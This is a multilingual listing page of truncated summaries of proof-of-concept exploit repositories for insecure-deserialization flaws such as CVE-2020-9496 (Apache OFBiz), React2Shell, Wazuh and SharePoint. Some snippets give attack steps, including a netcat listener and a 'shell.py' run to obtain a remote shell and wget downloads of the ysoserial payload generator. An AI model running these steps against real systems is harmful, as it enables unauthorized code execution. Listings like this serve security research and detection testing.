Bughound

Bughoundとは？ Bughoundは、オープンソースの静的コード解析ツールです。コードを解析し、その結果をElasticsearchとKibanaに送信することで、コード内の潜在的な脆弱性に関する有用な洞察を得ることができます。 Bughoundには、事前設定済みのダッシュボードを備えた独自のElasticsearchおよびKibana Dockerイメージが用意されており、検出結果を強力に可視化できます。 以下のようなさまざまな種類の脆弱性を検出できます。 コマンドインジェクション XXE 安全でないデシリアライゼーション その他多数！...

EUVD-2026-77682

October System provides the system module for October Content Management System. Prior to versions 3.7.17 and 4.2.21, the backend SessionMaker trait stored widget session state as base64serialize... and consumed it with unserialize without an allowedclasses restriction. Any code path that could...

CVE-2026-40473

camel-mina MinaConverter.toObjectInput 不安全反序列化复现工具 CVE-2026-40473 此项目演示了 Apache Camel 的 camel-mina 组件中的一个 Java 反序列化漏洞 ，跟踪编号为 CVE-2026-40473 。MinaConverter.toObjectInputIoBuffer 类型转换器将接收到的字节包装在原始的 ObjectInputStream 中，且未设置 ObjectInputFilter；因此，如果路由将 TCP/UDP 正文转换为 ObjectInput 并调用 readObject，则攻击者可以向...

CVE-2020-9496

CVE-2020-9496 ApacheOfBiz 17.12.01 - 未授权远程代码执行 XML-RPC 请求容易受到不安全反序列化的影响。 步骤 步骤 1: pip3 install -r requeriments.txt 步骤 2: nc -nlvp 攻击机 步骤 3: python3 shell.py -i -p -li -lp 步骤 4: 你应该会在你的 nc 监听器中获得一个 shell...

loader-CVE-2020-14343

loader-CVE-2020-14343 一个存在 CVE-2020-14343 不安全反序列化漏洞的 Web 应用，该漏洞可导致对 PyYAML 包执行命令。 Writeup: https://github.com/TebbaaX/CTFs/blob/main/HackerNewsBdarija-CTF-2022/loadder/Loader.md...

CVE-2026-59827

CVE-2026-59827 — Metabase 中 H2 查询结果的不安全反序列化 GHSA-w95f-x9v9-wv36 | CVSS 9.9 严重 | CWE-502：不可信数据的反序列化 概述 CVE-2026-59827 是 Metabase（流行的开源商业智能与数据分析平台）中的一个严重远程代码执行漏洞。该缺陷源于 Metabase 处理 H2 数据库连接返回的查询结果的方式。当针对 H2 数据源的原生 SQL 查询返回一个类型为 OTHER 的列时，Metabase 会在不做任何验证的情况下将该列的原始字节反序列化为 Java...

CVE-2025-53770

SharePoint ToolPane RCE 漏洞利用 用于测试 SharePoint ToolPane 漏洞的安全研究工具包 概述 • 特性 • 快速开始 • 用法 • 项目结构 本仓库包含 SharePoint ToolPane 漏洞 CVE-2025-53770 的概念验证利用代码和分析工具。该项目展示了影响 Microsoft SharePoint Server 的身份验证绕过和非安全反序列化漏洞的利用技术。 !WARNING 仅供授权的安全测试使用。 本项目仅用于教育目的、渗透测试和对您拥有或已获得明确测试权限的系统进行安全研究。 概述 CVE-2025-53770 是...

React2Shell-PoC

React2Shell-PoC Una explotación de prueba de concepto para CVE-2025-55182 y CVE-2025-66478 , vulnerabilidades críticas de ejecución remota de código en React Server Components RSC y aplicaciones Next.js. Resumen React2Shell demuestra la explotación de deserialización insegura en los manejadores d...

CVE-2025-24016-Wazuh-Remote-Code-Execution-RCE-PoC

🚨 Wazuh 远程代码执行 RCE - PoC 📌 漏洞摘要 在 Wazuh 服务器中发现了一个严重的 RCE 漏洞，原因是 wazuh-manager 包中存在不安全的反序列化。此漏洞影响 Wazuh 版本 ≥ 4.4.0，并在 4.9.1 版本中修复。 🔍 详情 该缺陷位于 Wazuh API 的 DistributedAPI 中，其中用户控制的输入被不安全地反序列化。这使得拥有API访问权限的攻击者（例如，受感染的仪表板或集群节点）能够通过 runas 端点在主服务器上执行任意 Python 代码。 📬 概念验证 Burp 请求 root@kitploit: POST...

react2shell-lab

React2Shell - CVE-2025-55182 实验室 一个用于演示和测试 React Server Components 中严重漏洞 CVE-2025-55182 的综合性实验室。 ⚠️ 仅限教育目的 本仓库旨在用于： 安全研究与教育 理解漏洞机制 在自有系统上进行测试 漏洞赏金猎捕准备 请勿将其用于你不拥有或未经明确授权的系统。未经授权访问属于违法行为。 🔴 漏洞详情 CVE 编号 ：CVE-2025-55182 CVSS 评分 ：10.0（严重） 类型 ：未认证远程代码执行（RCE） 受影响组件 ： React 19.0.0 - 19.2.0 Next.js 15.x -...

CVE-2020-9496

CVE-2020-9496 XML-RPC request are vulnerable to unsafe deserialization and Cross-Site Scripting issues in Apache OFBiz 17.12.03 Install requirements root@kitploit: $ pip install -r requirements.txt $ wget https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.ja...

CVE-2025-55182

React2Shell PoC 此仓库提供了一个最小化的、故意存在漏洞的环境，用于测试安全扫描器对影响 React Server Components 和 Next.js 的最新严重 RCE 漏洞（React2Shell）的检测能力。 CVE-2025-55182 ：在 React Server Components 版本 19.0.0、19.1.0、19.1.1 和 19.2.0 中存在一个预认证远程代码执行漏洞，涉及以下包：react-server-dom-parcel、react-server-dom-turbopack 和...

CVE-2018-2628

CVE-2018-2628 A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization. CVE-2018-2628漏洞复现详细步骤： 0x01 在JRMPListener主机上运行以下命令： root@kitploit: wget https://jitpack.io/com/github/frohoff/ysoserial/master/ysoserial-master.jar java -cp ysoserial.jar...

react2shell-test-server

React2Shell 测试服务器 用于演示和测试 React2Shell CVE-2025-55182 漏洞的测试服务器 描述 自 React2Shell RCE CVE-2025-55182 发布以来，我们一直在对其进行研究，并与客户一起致力于防范此漏洞。我们开源此测试服务器，用于发现和测试 React2Shell CVE-2025-55182 漏洞。安全团队可使用它来测试其检测能力、验证 WAF 规则，并在受控环境中理解利用机制。 该漏洞存在于 React Server Components 的 "Flight" 协议反序列化中。不安全的反序列化在处理特制 payload...

CVE-2025-24016

Wazuh 远程代码执行 RCE - 概念验证 漏洞概述 本仓库演示了 Wazuh 服务器中因 wazuh-manager 包中不安全的反序列化引入的远程代码执行 RCE 漏洞。该漏洞允许具有 API 访问权限的远程攻击者（受损的仪表盘、集群中的 Wazuh 服务器、或某些配置下被攻破的代理）在服务器上执行任意代码。 受影响版本 wazuh-manager 版本 = 4.4.0 已在版本 = 4.9.1 中修复 漏洞描述 该漏洞出现在 Wazuh API 中，其中 DistributedAPI 中的参数被序列化为 JSON，并在...

React2Hell

🧨 React2Hell — CVE-2025-55182 エクスプロイト 🔥 Next.js / React Server リモートコード実行 RCE エクスプロイト root@kitploit: █████▄ ▄▄▄▄▄ ▄▄▄ ▄▄▄▄ ▄▄▄▄▄▄ ████▄ ██ ██ ▄▄▄▄▄ ▄▄ ▄▄ ██▄▄██▄ ██▄▄ ██▀██ ██▀▀▀ ██ ▄██▀ ██████ ██▄▄ ██ ██ ██ ██ ██▄▄▄ ██▀██ ▀████ ██ ███▄▄ ██ ██ ██▄▄▄ ██▄▄▄ ██▄▄▄ Next.js/React Server RCE Exploit —...

poc-cve-2025-55182

CVE-2025-55182 React2Shell - 概念验证 ⚠️ 警告：此仓库仅供教育和安全研究使用。请勿将本漏洞利用程序用于未经您明确授权测试的系统。 概述 本仓库包含 CVE-2025-55182 的概念验证演示，这是一个影响 React 服务器组件的严重预认证远程代码执行漏洞。 CVSS 评分： 10.0（严重） 受影响版本： React Server Components 19.0.0、19.1.0、19.1.1 和 19.2.0...

CVE-2025-53772

CVE-2025-53772 - Microsoft Web Deploy RCE 漏洞利用 一个基于 Python 的 CVE-2025-53772 漏洞利用程序，该漏洞是 Microsoft Web Deploy msdeploy 中因 HTTP 头数据的不安全反序列化而导致的远程代码执行漏洞。 🎬 POC 视频 漏洞概述 属性| 值 ---|--- CVE ID| CVE-2025-53772 CVSS 评分| 8.8 高危 受影响产品| Microsoft Web Deploy 4.0 受影响版本| │...

CVE-2025-55182-React2Shell-RCE-POC

CVE-2025-55182 - React2Shell RCE 本仓库记录了针对 CVE-2025-55182（亦称 React2Shell）的研究，这是一种存在于 React 服务端组件（RSC）以及嵌入 RSC Flight 协议的框架（尤其是 Next.js App Router）中的严重不安全反序列化漏洞。 此处侧重于畸形的 RSC/Flight 载荷与 Server Function（Server Action）处理相结合，如何在服务器端导致攻击者控制的 JavaScript 得以执行。...

CVE-2020-9496

CVE-2020-9496 - RCE 由于webtools中的两个与xmlrpc相关的请求（xmlrpc和ping）未使用身份验证，因此它们容易受到不安全反序列化的攻击。GitHub安全实验室团队的Alvaro Munoz [email protected]已将此问题报告给安全团队。 此漏洞是由于处理发送到/webtools/control/xmlrpc的请求时的Java序列化问题而存在的。远程未认证攻击者可以通过发送精心构造的请求来利用此漏洞。成功利用将导致任意代码执行。 受影响版本 17.12.01 修复版本 18.12.01, 17.12.04...